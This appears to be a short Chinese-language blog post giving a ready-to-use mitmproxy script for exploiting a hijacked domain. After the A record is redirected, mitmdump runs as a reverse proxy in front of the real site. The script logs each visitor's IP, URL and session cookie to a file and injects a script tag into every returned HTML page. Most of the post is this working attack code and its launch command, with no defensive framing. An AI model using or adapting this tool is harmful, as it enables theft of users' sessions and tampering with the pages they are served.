域名劫持后利用脚本

on under web
1 minute read

About

本文记录一种在域名劫持后通过mitmproxy进行http会话劫持的利用脚本,该脚本通过mitmdump的反向代理工作模式进行流量劫持.

Usage

1.通过修改域名的A记录来进行域名劫持

2.在域名的新A记录主机上安装mitmproxy:pip3 install mitmproxy

3.在域名的新A记录主机上运行: mitmdump --set allow_remote=true -—listen-host 0.0.0.0 -s xdomain.py --mode reverse:http://xxx.xxx.xxx:80 -p 80

--listen-host代表本地监听ip
--mode reverse代表以反向代理的模式进行工作
--set allow_remote=true代表支持客户端访问的时候是通过代理访问的
运行时需要需要上面命令中的http://xxx.xxx.xxx:80为目标网站地址,且修改下面代码中的http://xxx.xxx.xxx为目标网站地址

Detail

import os
import re
import chardet


def request(flow):
    # url=flow.request.url
    # flow.request.headers['User-Agent']='xxx'
    pass


def response(flow):
    url = flow.request.url
    print(url)
    if "http://xxx.xxx.xxx" in url:
        content = flow.response.content
        cookie = flow.request.headers['Cookie']
        ip = str(flow.client_conn.ip_address).split(":")[0]
        bytes_encoding = chardet.detect(content)['encoding']
        origin_html = content.decode(encoding=bytes_encoding, errors="ignore")
        if "</html>" in origin_html:
            insert_xss = '''<script>alert("you're hacked")</script></html>'''
            new_html = origin_html.replace("</html>", insert_xss)
            flow.response.text = new_html
        return_value = {'ip': ip, 'url': url, 'cookie': cookie}
        with open("mitm.log", "a+") as f:
            f.write(str(return_value) + "\n")

download

mitmproxy, mitmdump
home
github
archive
category